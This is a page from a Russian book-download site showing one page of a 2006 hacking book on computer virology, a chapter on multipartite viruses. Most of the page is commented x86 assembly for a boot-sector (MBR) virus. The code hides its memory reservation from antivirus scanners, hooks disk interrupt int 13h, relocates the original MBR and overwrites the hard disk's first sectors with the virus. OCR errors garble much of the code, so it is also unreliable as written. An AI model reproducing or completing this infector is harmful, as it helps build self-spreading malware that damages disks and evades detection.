Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 78 79 80 81 82 83 < 84 > 85 86 87 88 89 90 .. 123 >> Следующая

переменная Para_vir_Ien установлена:
Para_vfr_len=(конец-начало)/8 щлина вируса в параграфах
Мы делим частное на 8, а не на 16, потому что нам требуется удвоенное
пространство в памяти!
хог ах, ах ; резервируем память для вируса
mov ds, ах ; вычитанием
mov ах, Para_vir_len
sub word ptr ds: [413h], ax ;длины вируса
int 12h ; получаем память в параграфах
shl ах, 6 ; переводим ее в байты
mov es, ах ;es = новый сегмент
mov сх, finish-start ;длина вируса
push cs ; устанавливаем источник
popds
mov si, 7c00h mov di, 0
rep movsb . ;ds:si > es.di
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Это годится только в том случае, если вирус занимает в длину один сектор.
Если нужно больше одного сектора, мы сначала резервируем память, а затем
читаем вирус в es:0. Эта часть очень важна. Почти каждый сканер MBR может
заметить уменьшение слова в 0000:0413 (адрес BIOS, где хранится полная
доступная память). Чтобы авировские штучки не выдавали гадких
предупреждений, мы делаем следующее:
• устанавливаем Ьх - случайное число
¦ получаем другое число, равное 0413h - bx (назовем его L)
• выполняем этот код:
int 12h ;ах содержит память в параграфах sub ах, 1
xchg ах, word ptr ds:[bx + L]
Вот один из примеров:
mov bx, 0F0F5h int 12h sub ax, 1
xchg ax, word ptr ds:[bx + 131 Eh]
Отметим, что 0F0F5h + 131Eh - FFFF0413h (как двойное слово), но в
качестве слова оно точно равно 0413Ы
Теперь копируем наш вирус в память в es:0. Не нужно оставаться в области
0000:7С00, потому что нам нужно начать там загрузку реальной MBR. Поэтому
мы делаем следующее:
push es ;вталкиваем новый сегмент в стек
lea ах, new_segment ;и ip, куда совершается прыжок push ах
retf воспроизводим дальний возврат
new_segment:
ГЛАВА 7. Многоцелевые вирусы
Мы продолжаем действия с кодом, но уже в полученном новом сегменте. Перед
началом загрузки реальной MBR мы должны перехватить необходимые
прерывания и особенно дисковое прерывание int 13h. Поэтому делаем
следующее:
mov ах, word ptr ds:[13h*4] сохраняем вектор int 13 mov word ptr
cs:[oldint13], ax mov ax, word ptr ds:[13h*4+2] mov word ptr
cs:[oldintl3+2], ax
lea ax, newintl 3; and set new int 13h mov word ptr ds:[13h*4], ax mov
ax, es
mov word ptr ds:[13h*4+2], ax
Позже мы поговорим о новом обработчике int 13. А пока давайте начнем
загрузку MBR из свободной зоны. Для этого мы используем функцию 02h.
Читаем оригинальную MBR в конце нашего кода в памяти:
mov ah, 02h ;читаем оригинальную MBR
moval, 01 h ; 1 сектор
mov dl, 80h ;из HDD
mov dh, OOh ; головка 0
mov cx, 01 h ; цилиндр 0, сектор 1
push cs
pop es
lea bx, finish ;в es:bx
int I3h
Теперь Ьх находится в конце вируса. Мы добавляем к нему офсет, где
располагается маркер.
Marker db 'хх' ;где 'хх' может быть любой комбинацией символов
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
add bx, offset marker cmp word ptr cs:[bx], 'xx' je alreadyjnfected
Допустим, мы получаем "да". Значит, HDD инфицирован. Тогда мы поступаем
так:
Alreadyjnfected: ;эта часть общая для режимов in_boot cmp cs:[inboot], 1
;и injile, поэтому мы делаем проверку jne exitjile ;и если это файл, то
выходим
Load_old_boot: ;в ином случае
mov ah, 0 ;сначала перезапускаем диск
mov dl, 80h
int 13h
mov ah, 02h ;и затем читаем
mov al, 01 h ;один сектор
mov dl, 80h ;из HDD
mov dh, OOh ;головка 0
mov cx, 01 h + sector Jen ; цилиндр 0, сектор =
;1+sectorJen
push 0 pop es
mov bx, 7c00h ;b 0000:7C00 int 13h
db OEAh ;здесь мы имеем JMP 0000:7C0Q
dw 7c00h ;т.е. прыжок к оригинальной MBR
dw OOOOh
Теперь нам осталось поговорить о переменной sector len. В наши дни
усложненные вирусы превосходят порог 5Кб (то есть вирус не вмещается в
512 байтов-один сектор). Им требуется несколько секторов. А сколько?
Взгляните на эти условия:
ГЛАВА 7. Многоцелевые вирусы
sector Jen = (конец - начало + 1FFh) / 200h
Если (конец - начало) <- 200h, то результатом вышеприведенной формулы
будет 1.
Если (конец - начало) > 200h, но <- 400h, то формула даст 2 и так далее.
Например:
(188h + IFFh) div 200h - 1 сектор (220h + IFFh) div 200h - 2 сектора
(lOOOh + IFFh) div 200h - 23 сектора
Таким образом, вы получаете длину вируса в секторах. Давайте посмотрим на
инфицированный HDD (si - sector_len):
C:0, H:0, S:1
1
C:0, H:0, S:2 • • •ф••*•••
С:0, Н:0, S.sl
С:0, Н-.О, S:sl+1
'Здесь была оригинальная MBR •Здесь теперь находится вирус Здесь
находится передвинутая MBR
Рис. 18. Инфицированный жесткий диск
Итак, сначала:
Save_old_boot:
mov ah, 03h ;записываем байты
mov al, 01 h ;в 1 сектор
mov dl, 80h ;на HDD
mov dh, OOh .головка 0
mov cx, 01h + sector Jen; цилиндр 0, сектор=2+sectorJen lea bx, finish
;от конца! (где мы имеем
int 13h ; копию MBR)
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Writenewbootjoader:
mov ah, 03h ;эта часть просто копирует
mov al, sectorjen ;секторы sector Jen
mov dl, 80h
movdh, OOh
movcx, 01 h ;b (0,0,1)
lea bx, start ;от начала вируса
int 13h
Вот что происходит, когда вы в загрузочном секторе. Теперь рассмотрим
Предыдущая << 1 .. 78 79 80 81 82 83 < 84 > 85 86 87 88 89 90 .. 123 >> Следующая